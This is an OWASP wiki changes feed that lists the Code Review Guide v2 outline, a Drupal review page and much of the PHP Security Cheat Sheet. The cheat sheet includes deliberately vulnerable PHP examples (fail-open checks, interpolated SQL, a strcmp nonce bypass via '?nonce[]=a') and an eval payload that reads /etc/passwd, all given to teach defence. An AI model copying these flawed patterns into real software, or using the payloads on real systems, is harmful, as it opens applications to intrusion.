OWASP - User contributions [en]

OWASP Code Review V2 Table of Contents

2015-06-19T09:27:48Z

Luke Plant: /* Framework specific Issues */

= '''OWASP Code Review Guide v2.0:''' =

==Forward==
# Author - Eoin Keary
# Previous version to be updated:[[https://www.owasp.org/index.php/Code_Review_Guide_History]]
'''[[CRV2_Forward|Content here]]'''

== Code Review Guide Introduction==
# Author - Eoin Keary
# Previous version to be updated:[[https://www.owasp.org/index.php/Code_Review_Introduction]]
'''[[CRV2_Introduction|Content here]]'''

=== What is source code review and Static Analysis ===
=== What is Code Review ===
# Author - Zyad Mghazli, Eoin Keary
# New Section
''' [[CRV2_WhatIsCodeReview|Content here]]'''

=== Manual Review - Pros and Cons ===
# Author - Zyad Mghazli, Eoin Keary,Gary David Robinson
# New Section
# Suggestion: Benchmark of different Stataic Analysis Tools Zyad Mghazli
# [[CRV2_ManualReviewProsCons|Put content here]]

=== Advantages of Code Review to Development Practices ===
# Author - Gary David Robinson
# New Section
# [[CRV2_AdvantagesToDevPractices|Put content here]]

=== Why code review ===
==== Scope and Objective of secure code review ====
# Author - Ashish Rao
# [[CRV2_WhyCodeReview|Put content here]]

=== We can't hack ourselves secure ===
# Author - Eoin Keary
# New Section
# [[CRV2_CantHackSecure|Put content here]]

=== 360 Review: Coupling source code review and Testing / Hybrid Reviews===
# Author - eoin Keary
# New Section
# [[CRV2_360Review|Put content here]]

=== Can static code analyzers do it all? ===
# Author - Ashish Rao
# New Section
# [[CRV2_CanStaticAnalyzersDoAll|Put content here]]

=Methodology=
===The code review approach===
#Author - Johanna Curiel
# [[CRV2_CodeReviewApproach|Put content here]]

==== Preparation and context ====
# Author - Gary David Robinson
# Previous version to be updated: [[https://www.owasp.org/index.php/Code_Review_Preparation]]
# [[CRV2_PrepContext|Put content here]]

====Application Threat Modeling====
#Author - Larry Conklin
# Previous version to be updated: [[https://www.owasp.org/OCRG1.1:Application_Threat_Modeling]]
# [[CRV2_AppThreatModeling|Put content here]]

====Understanding Code layout/Design/Architecture====
#Author - Open
# [[CRV2_CodeLayoutDesignArch|Put content here]]
====Understanding Business Logic====
#[[CRV2_BusinessLogic|Put content here]]

===SDLC Integration===
#Author - Larry Conklin
# Previous version to be updated: [[https://www.owasp.org/index.php/Security_Code_Review_in_the_SDLC]]
# [[CRV2_SDLCInt|Put content here]]

====Deployment Models====
=====Secure deployment configurations=====
#Author -
# [[CRV2_SecDepConfig|Put content here]]

# New Section
=====Metrics and code review=====
#Author -Anthony.Scotka@tea.state.tx.us
# Previous version to be updated: [[https://www.owasp.org/index.php/Code_Review_Metrics]]
# [[CRV2_MetricsCodeRev|Put content here]]

=====Source and sink reviews=====
#Author - Open
# New Section
# [[CRV2_SourceSinkRev|Put content here]]

=====Code review Coverage=====
#Author - Open
#Previous version to be updated: [[https://www.owasp.org/index.php/Code_Review_Coverage]]
# [[CRV2_CodeRevCoverage|Put content here]]

=====Design Reviews=====
#Author - Ashish Rao
*Why to review design?
**Building security in design - secure by design principle
**Design Areas to be reviewed
**Common Design Flaws
# [[CRV2_DesignRev|Put content here]]

=====A Risk based approach to code review=====
#Author - Gary David Robinson
#New Section
*"Doing things right or doing the right things..."
**"Not all bugs are equal
# [[CRV2_RiskBasedApproach|Put content here]]

====Crawling code====
#Author - Open
# Previous version to be updated: [[https://www.owasp.org/index.php/Crawling_Code]]
*API of Interest:
**Java
**.NET
**PHP
**RUBY
*Frameworks:
**Spring
**.NET MVC
**Struts
**Zend
#New Section
*Searching for code in C/C++
#Author - Gary David Robinson

# [[CRV2_CrawlingCode|Put content here]]

====Code reviews and Compliance====
#Author -Open
# Previous version to be updated: [[https://www.owasp.org/index.php/Code_Reviews_and_Compliance]]
# [[CRV2_CodeRevCompliance|Put content here]]

=Reviewing by Technical Control=
===Reviewing code for Authentication controls===
#Author - Gary Robinson
# [[CRV2_AuthControls|Put content here]]

====Forgot password====
#Author Abbas Naderi, Larry Conklin
# [[CRV2_ForgotPassword|Put content here]]

====CAPTCHA====
#Author Larry Conklin, Joan Renchie
'''[[CRV2_CAPTCHA|Content here]]'''

====Out of Band considerations====
#Author - Gary Robinson
# Previous version to be updated: [[https://www.owasp.org/index.php/Codereview-Authentication]]
# [[CRV2_OutofBand|Put content here]]

===Reviewing code Authorization weakness===
#Author Eoin Keary .NET MVC added
# [[CRV2_AuthorizationWeaknesses|Put content here]]

====Checking authz upon every request====
#Author - Abbas Naderi
# [[CRV2_CheckAuthzEachRequest|Put content here]]

====Reducing the attack surface====
#Author Gary Robinson
# Previous version to be updated: [[https://www.owasp.org/index.php/Codereview-Authorization]]
# [[CRV2_ReducingAttSurf|Put content here]]

====SSL/TLS Implementations====
#Author - Eoin Keary
# [[CRV2_SSL-TLS|Put content here]]

====Reviewing code for Session handling====
#Author - Abbas Naderi
# Previous version to be updated: [[https://www.owasp.org/index.php/Codereview-Session-Management]]
# [[CRV2_SessionHandling|Put content here]]

====Reviewing client side code====
#New Section
# [[CRV2_ClientSideCodeIntro|Put content here]]

=====Javascript=====
#Author - Abbas Naderi
# [[CRV2_ClientSideCodeJScript|Put content here]]

=====JSON=====
#Author - Open
# [[CRV2_ClientSideCodeJSon|Put content here]]

=====Content Security Policy=====
#Author - Open
# [[CRV2_ClientSideCodeContSecPolicy|Put content here]]

====="Jacking"/Framing=====
#Author - Eoin Keary
# [[CRV2_ClientSideCodeJackingFraming|Put content here]]

=====HTML 5?=====
#Author - Open
# [[CRV2_ClientSideCodeHTML5|Put content here]]

=====Browser Defenses=====
#Author - Open
# [[CRV2_ClientSideCodeBrowserDefPol|Put content here]]

=====etc...=====

====Review code for input validation====
#Author - Open
# [[CRV2_InputValIntro|Put content here]]

=====Regex Gotchas=====
#Author - Open
#New Section
# [[CRV2_InputValRegexGotchas|Put content here]]

=====ESAPI=====
#Author - Open
#New Section
# Internal Link: [[https://www.owasp.org/index.php/Codereview-Input_Validation]]
# [[CRV2_InputValESAPI|Put content here]]

=====Microsoft Web Protection Library=====
#Author - Michael Hidalgo
#New Section
# Internal Link: [[https://www.owasp.org/index.php/Codereview-Input_Validation]]
# [[CRV2_InputValMicrosoftWebProtectionLibrary|Put content here]]

====Reviewing code for contextual encoding====
[[Overall approach to content encoding and anti XSS]]
=====HTML Attribute=====
#Author - Eoin Keary
# [[CRV2_ContextEncHTMLAttribute|Put content here]]

=====HTML Entity=====
#Author - Eoin Keary
# [[CRV2_ContextEncHTMLEntity|Put content here]]

=====Javascript Parameters=====
#Author - Eoin Keary
# [[CRV2_ContextEncJscriptParams|Put content here]]

=====JQuery=====
#Author - Open
# [[CRV2_ContextEncJQuery|Put content here]]

====Reviewing file and resource handling code====
#Author - Open
# [[CRV2_FileResourceHandling|Put content here]]

====Resource Exhaustion - error handling====
#Author - Open
# [[CRV2_ResourceExhaustionErrHandling|Put content here]]

=====native calls=====
#Author Open
# [[CRV2_ResourceExhaustionNativeCalls|Put content here]]

====Reviewing Logging code - Detective Security====
#Author - Gary Robinson
* Where to Log
* What to log
* What not to log
* How to log
# Internal link: [[https://www.owasp.org/index.php/Logging_Cheat_Sheet]]
# [[CRV2_LoggingCode|Put content here]]

====Reviewing Error handling and Error messages====
#Author - Gary David Robinson
# Previous version to be updated: [[https://www.owasp.org/index.php/Codereview-Error-Handling]]
# [[CRV2_ErrorHandlingMessages|Put content here]]

====Reviewing Security alerts====
#Author - Gary Robinson
# [[CRV2_SecurityAlerts|Put content here]]

====Review for active defense====
#Author - Colin Watson
# [[CRV2_ActiveDefense|Put content here]]

====Reviewing Secure Storage====
#Author - Open source
# New Section
# [[CRV2_SecureStorage|Put content here]]

====Hashing & Salting - When, How and Where====
=====Encryption=====
======.NET======
#Author Larry Conklin, Joan Renchie
# Previous version to be updated: [[https://www.owasp.org/index.php/Codereview-Cryptographic_Controls]]
*''Can we talk about key storage as well i.e. key management for encryption techniques used in the application? - Ashish Rao''
'''[[CRV2_HashingandSaltingdotNet|Content here]]'''

=Reviewing by Vulnerability=
===Review Code for XSS===
#Author Examples added by Eoin Keary
# Previous version to be updated: [[https://www.owasp.org/index.php/Reviewing_Code_for_Cross-Site_Scripting]]
# In reviewing code for XSS - we can give more patterns on "source to sink" patterns for ASP.NET wrf to difference versions and mechanisms to display data in a page - Ashish Rao
# [[CRV2_RevCodeXSS|Put content here]]

===Persistent - The Anti pattern===
#Author
# [[CRV2_RevCodePersistentAntiPatternIntro|Put content here]]

====.NET====
#Author Johanna Curiel, Eoin Keary
# [[CRV2_RevCodePersistentAntiPatterndotNet|Put content here]]

====.Java====
#Author Johanna Curiel
# [[CRV2_RevCodePersistentAntiPatternJava|Put content here]]

====PHP====
#Author Abbas Naderi
# [[CRV2_RevCodePersistentAntiPatternPHP|Put content here]]

====Ruby====
#Author Open
# [[CRV2_RevCodePersistentAntiPatternRuby|Put content here]]

===Reflected - The Anti pattern===
# [[CRV2_RevCodeReflectedAntiPatternIntro|Put content here]]

====.NET====
#Author Johanna Curiel
# [[CRV2_RevCodeReflectedAntiPatterndotNet|Put content here]]

====.Java====
#Author Johanna Curiel
# [[CRV2_RevCodeReflectedAntiPatternJava|Put content here]]

====PHP====
#Author Abbas Naderi
# [[CRV2_RevCodeReflectedAntiPatternPHP|Put content here]]

====Ruby====
# Author - Open
# [[CRV2_RevCodeReflectedAntiPatternIRuby|Put content here]]

===Stored - The Anti pattern===
# Author - Johanna Curiel
# [[CRV2_RevCodeStoredAntiPatternIntro|Put content here]]

====.NET====
#Author Johanna Curiel
# [[CRV2_RevCodeStoredAntiPatterndotNET|Put content here]]

====.Java====
#Author Johanna Curiel
# [[CRV2_RevCodeStoredAntiPatternJava|Put content here]]

====PHP====
#Author Johanna Curiel
# [[CRV2_RevCodeStoredAntiPatternPHP|Put content here]]

====Ruby====
#Author - Johanna Curiel
# [[CRV2_RevCodeStoredAntiPatternRuby|Put content here]]

===DOM XSS ===
#Author Larry Conklin
# [[CRV2_DOMXSS|Put content here]]

===JQuery mistakes===
#Author
# [[CRV2_JQueryMistakes|Put content here]]

===Reviewing code for SQL Injection===
#Author Gary Robinson
# Previous version to be updated: [[https://www.owasp.org/index.php/Reviewing_Code_for_SQL_Injection]]
# [[CRV2_RevCodeSQLInjection|Put content here]]

====PHP====
#Author - Mennouchi Islam Azeddine
# [[CRV2_SQLInjPHP|Put content here]]

====Java====
#Author - Johanna Curiel
# [[CRV2_SQLInjJava|Put content here]]

====.NET====
#Author - Open
# [[CRV2_SQLInjdotNET|Put content here]]

====HQL====
#Author - Open
# [[CRV2_SQLInjHQL|Put content here]]

===The Anti pattern===
#Author Larry Conklin
#[[CRV2_AntiPattern| Content here]]
https://www.owasp.org/index.php/CRV2_AntiPattern
====PHP====
#Author -
# [[CRV2_AntiPatternPHP|Put content here]]

====Java====
#Author -
#=> Searching for traditional SQL,JPA,JPSQL,Criteria,...
# [[CRV2_AntiPatternJava|Put content here]]

====.NET====
#Author Open
# [[CRV2_AntiPatterndotNet|Put content here]]

====Ruby====
#Author - Open
# [[CRV2_AntiPatternRuby|Put content here]]

====Cold Fusion====
#Author - Open
# [[CRV2_AntiPatternColdFusion|Put content here]]

===Reviewing code for CSRF Issues===
#Author Abbas Naderi
# Previous version to be updated: [[https://www.owasp.org/index.php/Reviewing_Code_for_Cross-Site_Request_Forgery]]
# This page needs to be deleted. [[CRV2_CSRFIssues|Put content here]]

===(This task has been deleted) Transactional logic / Non idempotent functions / State Changing Functions===
# [[CRV2_TransLogic|Put content here]]

===Reviewing code for poor logic /Business logic/Complex authorization===
#Author - Open
# [[CRV2_PoorLogic|Put content here]]

===Reviewing Secure Communications===
====.NET Config====
#Author Johanna Curiel, Renchie Joan
# [[CRV2_SecCommsdotNet|Put content here]]

====Spring Config====
#Author - Open
# [[CRV2_SecCommsSpringConfig|Put content here]]

====HTTP Headers====
#Author Gary Robinson
# [[CRV2_SecCommsHTTPHdrs|Put content here]]

===Tech-Stack pitfalls===
#Author Open
# [[CRV2_TechStackPitfalls|Put content here]]

===Framework specific Issues===
====Spring====
#Author - Open
# [[CRV2_FrameworkSpecIssuesSpring|Put content here]]

====Struts====
#Author - Open
# [[CRV2_FrameworkSpecIssuesStruts|Put content here]]

====Drupal====
#Author Open
# [[CRV2_FrameworkSpecIssuesDrupal|Put content here]]

====Ruby on Rails====
#Author - Open
# [[CRV2_FrameworkSpecIssuesROR|Put content here]]

====Django====
#Author Open
# [[CRV2_FrameworkSpecIssuesDjango|Put content here]]

====.NET Security / MVC====
#Author Johanna Curiel, Eoin Keary
# [[CRV2_FrameworkSpecIssuesdotNetMVC|Put content here]]

====Security in ASP.NET applications====
#Author Johanna Curiel
# [[CRV2_FrameworkSpecIssuesASPNet|Put content here]]

=====Strongly Named Assemblies=====
#Author Johanna Curiel, Larry Conklin
# [[CRV2_FrameworkSpecIssuesASPNetStrongAssembiles|Put content here]]

======Round Tripping======
# Author - Open
# [[CRV2_FrameworkSpecIssuesASPNetRT|Put content here]]

======How to prevent Round tripping======
# Author - Open
#Author Johanna Curiel
# [[CRV2_FrameworkSpecIssuesASPNetRTPrevention|Put content here]]

=====Setting the right Configurations=====
#Author Johanna Curiel
# [[CRV2_FrameworkSpecIssuesASPNetConfigs|Put content here]]

=====Authentication Options=====
#Author Johanna Curiel
# [[CRV2_FrameworkSpecIssuesASPNetAuth|Put content here]]

=====Code Review for Managed Code - .Net 1.0 and up=====
#Author Johanna Curiel
# [[CRV2_FrameworkSpecIssuesASPNetManagedCode|Put content here]]

=====Using OWASP Top 10 as your guideline=====
#Author Johanna Curiel
# [[CRV2_FrameworkSpecIssuesASPTop10|Put content here]]

=====Code review for Unsafe Code (C#)=====
#Author Johanna Curiel
# [[CRV2_FrameworkSpecIssuesASPNetUnsafeCode|Put content here]]

====PHP Specific Issues====
#Author Open
# [[CRV2_FrameworkSpecIssuesPHP|Put content here]]

====Classic ASP====
#Author Johanna Curiel
# [[CRV2_FrameworkSpecIssuesASPClassic|Put content here]]

====C#====
#Author Open
# [[CRV2_FrameworkSpecIssuesCsharp|Put content here]]

====C/C++====
#Author Open
# [[CRV2_FrameworkSpecIssuesCplusplus|Put content here]]

====Objective C====
#Author Open
# [[CRV2_FrameworkSpecIssuesObectiveC|Put content here]]

====Java====
#Author Open
# [[CRV2_FrameworkSpecIssuesJava|Put content here]]

====Android====
#Author Open
# [[CRV2_FrameworkSpecIssuesAndroid|Put content here]]

====Coldfusion====
#Author Open
# [[CRV2_FrameworkSpecIssuesColdfusion|Put content here]]

====CodeIgniter====

# Author Open
# [[CRV2_FrameworkSpecIssuesCodeIgniter|Put content here]]

=Security code review for Agile development=
#Author Carlos Pantelides
# [[CRV2_CodeReviewAgile|Put content here]]

=Code Review Tools=
https://www.owasp.org/index.php/CRV2_CodeReviewTools

CRV2 FrameworkSpecIssuesDjango

2015-06-19T09:27:17Z

Luke Plant: This page was about Drupal, not Django

CRV2 FrameworkSpecIssuesDurpal

2015-06-19T09:26:49Z

Luke Plant:

See [[CRV2_FrameworkSpecIssuesDrupal|Framework specific issues Drupal]]

CRV2 FrameworkSpecIssuesDurpal

2015-06-19T09:23:53Z

Luke Plant: Blanked the page

CRV2 FrameworkSpecIssuesDrupal

2015-06-19T09:23:16Z

Luke Plant: This was copied from CRV2_FrameworkSpecIssuesDjango which was actually about Drupal, There is also a 'Durpal' page which is a typo

Drupal is a open-source content-management. It contains features common to content management systems, including user account registration and maintenance, menu management, RSS feeds, taxonomy, page layout customization, and system administration.

Drupal runs on any environment that supports both a Web server capable of running PHP 5.2, Apache, IIS web servers with latest release and a database (such as MySQL 5.0 of higher, SQLite, PostgreSQL 8.3 or Microsoft SQL Server) to store content and settings. Because of that Drupal can be vulnerable to various security vulnerabilities to its environment that it runs on. Code Reviewer should have some knowledge into the configurations and versions of the component software used to run Drupal.

Drupal Modules
* Drupal also uses a large array of modules components that can come from various sources. Code reviewer needs to understand what modules the application is being deployed to production with and have some access to a risk assessment of that module and what security vulnerabilities it might present to the organization that is deploying Drupal.

Drupal policy on security vulnerability

* Drupal's policy is to announce the nature of each security vulnerability once the fix is released.
* Administrators of Drupal sites are automatically notified of these new releases via the Update Status module or via the Update Manager, depending on the release of Drupal.
* Drupal maintains a security announcement mailing list, a history of all security advisories, a security team home page, and an RSS feed with the most recent security advisories.
* Code Reviewers are strongly recommended to frequently visit with Drupal Security web page. https://www.drupal.org/security

Keep Up to date on Releases.
* Code Reviewer needs to understand what version of Drupal and its underlying components are being used. Latest version of Drupal at the time of writing this book was Drupal 7.

PHP Security Cheat Sheet

2015-06-19T09:19:56Z

Luke Plant: removed outdated message about PHP versions

= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP overview==

PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.

An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the language. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.

PHP is a 'grown' language rather than deliberately engineered, making writing insecure PHP applications far too easy and common. If you want to use PHP securely, then you should be aware of all its pitfalls.

===Language issues===

====Weak typing====

PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).

Try to use functions and operators that do not do implicit type conversions (e.g. <code>===</code> and not <code>==</code>). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like <code>in_array</code>) use weakly typed comparison functions by default, making it difficult to write correct code.

====Exceptions and error handling====

Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In many other languages, and most high level languages that compete with PHP, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.

Consider the following code which attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:

$db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');

function can_access_feature($current_user) {
global $db_link;
$username = mysqli_real_escape_string($db_link, $current_user->username);
$res = mysqli_query($db_link, "SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';");
$row = mysqli_fetch_array($res);
if ((int)$row[0] > 0) {
return false;
} else {
return true;
}
}

if (!can_access_feature($current_user)) {
exit();
}

// Code for feature here

There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the <code>mysqli_</code> functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable <code>$row</code> becomes <code>NULL</code>, and PHP will evaluate <code>$row[0]</code> also as <code>NULL</code>, and <code>(int)$row[0]</code> as <code>0</code>, due to weak typing. Eventually the <code>can_access_feature</code> function returns <code>true</code>, giving access to all users, whether they are on the blacklist or not.

If these native database APIs are used, error checking should be added at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate.
This is why accessing a database should always be done by using [http://php.net/manual/en/intro.pdo.php PHP Data Objects (PDO)] specified with the [http://php.net/manual/en/pdo.error-handling.php ERRMODE_WARNING or ERRMODE_EXCEPTION flags] unless there is a clearly compelling reason to use native drivers and careful error checking.

It is often best to turn up error reporting as high as possible using the
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.

====php.ini====

The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”

====Unhelpful builtins====

PHP comes with many built-in functions, such as <code>addslashes</code>, <code>mysql_escape_string</code> and
<code>mysql_real_escape_string</code>, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems. Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.

PHP also provides an 'array' data structure, which is used extensively in all PHP code and internally, that is a confusing mix between an array and a dictionary. This confusion can cause even experienced PHP developers to introduce critical security vulnerabilities such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] (see [http://cgit.drupalcode.org/drupal/commit/?id=26a7752c34321fd9cb889308f507ca6bdb777f08 the patch]).

===Framework issues===

====URL routing====

PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:

* Remote execution vulnerability for every file upload feature that does not sanitise the filename. (In other words, the web server executes something instead of serving it). Ensure that when saving uploaded files, the content and filename are appropriately sanitised.

* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. (In other words, the web server serves a resource which should have been private or executable only). You can use <code>.htaccess</code> to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.

* The URL routing mechanism is the same as the module system. This means it is often possible for attackers to use files as entry points which were not designed as such. This can open up vulnerabilities where authentication mechanisms are bypassed entirely - a simple refactoring that pulls code out into a separate file can open a vulnerability. This is made particularly easy in PHP because it has globally accessible request data ($_GET etc), so file-level code can be imperative code that operates on the request, rather than needing request handling code to be within function definitions.

* The lack of a proper URL routing mechanism often leads to developers creating their own ad-hoc methods. These are often insecure and fail to apply appropriate authorization restrictions on different request handling functionality.

====Input handling====

Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a "one time nonce" mechanism that might be used, for example in a password reset code:

$supplied_nonce = $_GET['nonce'];
$correct_nonce = get_correct_value_somehow();

if (strcmp($supplied_nonce, $correct_nonce) == 0) {
// Go ahead and reset the password
} else {
echo 'Sorry, incorrect link';
}

If an attacker uses a querystring like this:

http://example.com/?nonce[]=a

then we end up with <code>$supplied_nonce</code> being an array. The function <code>strcmp()</code> will then return <code>NULL</code> (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the <code>==</code> (equality) operator instead of the <code>===</code> (identity) operator, the comparison succeeds (since the expression <code>NULL == 0</code> is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.

Exactly the same issue, combined with the confusion of PHP's 'array' data structure, can be exploited in issues such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] - see [http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo example exploit].

====Template language====

PHP is essentially a template language. However, it doesn't do HTML escaping by
default, which makes it very problematic for use in a web application - see
section on XSS below.

====Other inadequacies====

There are other important things that a web framework should supply, such as a
CSRF protection mechanism that is on by default. Because PHP comes with a
rudimentary web framework that is functional enough to allow people to create
web sites, many people will do so without any knowledge that they need CSRF
protection.

===Third party PHP code===

Libraries and projects written in PHP are often insecure due to the problems
highlighted above, especially when proper web frameworks are not used. Do not
trust PHP code that you find on the web, as many security vulnerabilities can
hide in seemingly innocent code.

Poorly written PHP code often results in warnings being emitted, which can cause
problems. A common solution is to turn off all notices, which is exactly the opposite
of what ought to be done (see above), and leads to progressively worse code.

==Update PHP regularly==

Keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Configuration=

The behaviour of PHP is strongly affected by configuration, which can be done through the "php.ini" file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php

There are many security related configuration options. Some are listed below:

==SetHandler==

PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name "foo.php.txt" will be handled as PHP code, which can be a very serious remote execution vulnerability if "foo.php.txt" was not intended to be executed (e.g. example code) or came from a malicious file upload.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are <code>$_SERVER</code>, <code>$_GET</code>, <code>$_POST</code>, <code>$_REQUEST</code>, <code>$_FILES</code> and <code>$_COOKIE</code>. Not all data in <code>$_SERVER</code> can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with <code>HTTP_</code>).

==File uploads==

Files received from a user pose various security threats, especially if other users can download these files. In particular:

* Any file served as HTML can be used to do an XSS attack
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.

Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. All of this data is combined into one array, making it almost impossible to determine the source of the data. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Never concatenate or interpolate data in SQL==

Never build up a string of SQL that includes user data, either by concatenation:

$sql = "SELECT * FROM users WHERE username = '" . $username . "';";

or interpolation, which is essentially the same:

$sql = "SELECT * FROM users WHERE username = '$username';";

If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc. Using prepared statements and bound parameters is a much better solution. PHP's [mysqli](http://php.net/mysqli) and [PDO](http://php.net/pdo) functionality includes this feature (see below).

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

See the PHP docs on [http://php.net/manual/en/mysqli.quickstart.prepared-statements.php MySQLi prepared statements] and [http://php.net/manual/en/pdo.prepare.php PDO prepared statements]

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. Additionally, they cannot be used for things like table names or columns in `SELECT` statements. In these cases, you should use query builder that is provided by a framework, if available. If not, several packages are available for use via [http://getcomposer.org Composer] and [http://packagist.org Packagist] Do not roll your own.

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

Always be sure to evaluate the code of *any* ORM you use to validate how it handles the execution of the SQL it generates. Ensure it does not concatenate the values and instead uses prepared statements internally as well as following good security practices.

==Encoding Issues==

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

